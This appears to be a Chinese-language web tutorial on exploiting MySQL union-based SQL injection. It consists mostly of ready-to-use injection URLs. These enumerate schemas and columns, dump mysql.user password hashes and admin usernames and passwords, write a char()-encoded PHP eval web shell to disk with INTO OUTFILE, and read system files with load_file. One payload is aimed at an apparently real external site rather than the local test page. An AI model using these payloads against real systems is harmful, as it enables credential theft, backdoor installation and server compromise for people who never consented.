利用Information_schema系統(tǒng)庫(kù)來注入,配合使用group_concat()函數(shù),group_concat()功能強(qiáng)大,而且能夠繞過limit限制

http://127.0.0.1/sql.php?id=1 union select 0,0,0 字段為 3
http://127.0.0.1/sql.php?id=1 and 1=2 union select count(*),1,1 from mysql.user 統(tǒng)計(jì)數(shù)據(jù)庫(kù)中又多少個(gè)用戶


http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata 測(cè)試過程中只有 root權(quán)限或者 全局權(quán)限才能爆出所有數(shù)據(jù)庫(kù) 普通用戶不能爆出所有用戶
這樣就把mysql服務(wù)器所有數(shù)據(jù)庫(kù)名字顯示出來了

http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x74657374
這樣就能把 test 數(shù)據(jù)庫(kù)中的 所有表顯示出來了。 其中 0x74657374 為 test 的 hex 值


http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x61646D696E
這樣就把a(bǔ)dmin表中所有的字段名 顯示出來了。

這樣注入手法很靈活的。突破了 limit 限制了。
來看下 穿山甲的注入語(yǔ)句



以下部分只有root 權(quán)限或者 全局權(quán)限才能操作
======================================================================================================================================
select user from mysql.user



http://127.0.0.1/sql.php?id=1 and 1=2 union select concat(char(94),char(94),char(94),user,char(94),char(94),char(94)),1,1 from (select * from (select * from mysql.user order by user limit 6,1)t order by user desc)t limit 1-- 查看數(shù)據(jù)庫(kù)中有那些用戶


http://127.0.0.1/sql.php?id=1 and 1=2 union select concat(char(94),char(94),char(94),password,char(94),char(94),char(94)),1,1 from (select * from (select * from mysql.user order by user limit 6,1) t order by user desc)t limit 1-- 查看對(duì)應(yīng)用戶的 密碼


通過不斷修改limit 2,1達(dá)到查看所有 http://127.0.0.1/sql.php?id=1 and 1=2 union select concat(char(94),char(94),char(94),password,char(94),char(94),char(94)),1,1 from (select * from (select * from mysql.user order by user limit 2,1) t order by user desc)t limit 1--
===========================================================================================================================================================



http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,username,password from admin limit 0,10
http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,username,password from admin limit 1,10
http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,username,password from admin limit 2,10
通過 limit 一條條記錄取出來

或者直接用group_concat()函數(shù) 一次顯示出來
http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,group_concat(username),group_concat(password) from admin


into outfile 的應(yīng)用 注意路徑是 這樣的c:/2ww.php
http://127.0.0.1/sql.php?id=1 and 1=2 union select concat(char(60),char(63),char(112),char(104),char(112),char(32),char(101),char(118),char(97),char(108),char(40),char(36),char(95),char(80),char(79),char(83),char(84),char(91),char(99),char(109),char(100),char(93),char(41),char(63),char(62)),1,1 into outfile 'c:/cm14dd.php'
<?php eval($_POST[cmd])?> 的 asc碼 char(60),char(63),char(112),char(104),char(112),char(32),char(101),char(118),char(97),char(108),char(40),char(36),char(95),char(80),char(79),char(83),char(84),char(91),char(99),char(109),char(100),char(93),char(41),char(63),char(62)

http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,'<?php eval($_POST[cmd])?>',3 into outfile 'c:/tt33.txt'



load_file 的應(yīng)用

http://127.0.0.1//sql.php?id=1 and 1=2 union select concat(char(94),char(94),char(94),load_file(0x633a5c626f6f742e696e69),char(94),char(94),char(94)),1,1 --
0x633a5c626f6f742e696e69 是 c:\boot.ini 的 hex編碼
http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,2,load_file('c:/boot.ini')



http://www.else1.com/concrete.php?id=5%20and%201=2%20union%20select%201,2,3,4,group_concat(schema_name)%20from%20information_schema.schemata

相關(guān)文件打包下載[用于測(cè)試的數(shù)據(jù)庫(kù)sql文件與php代碼]

最新評(píng)論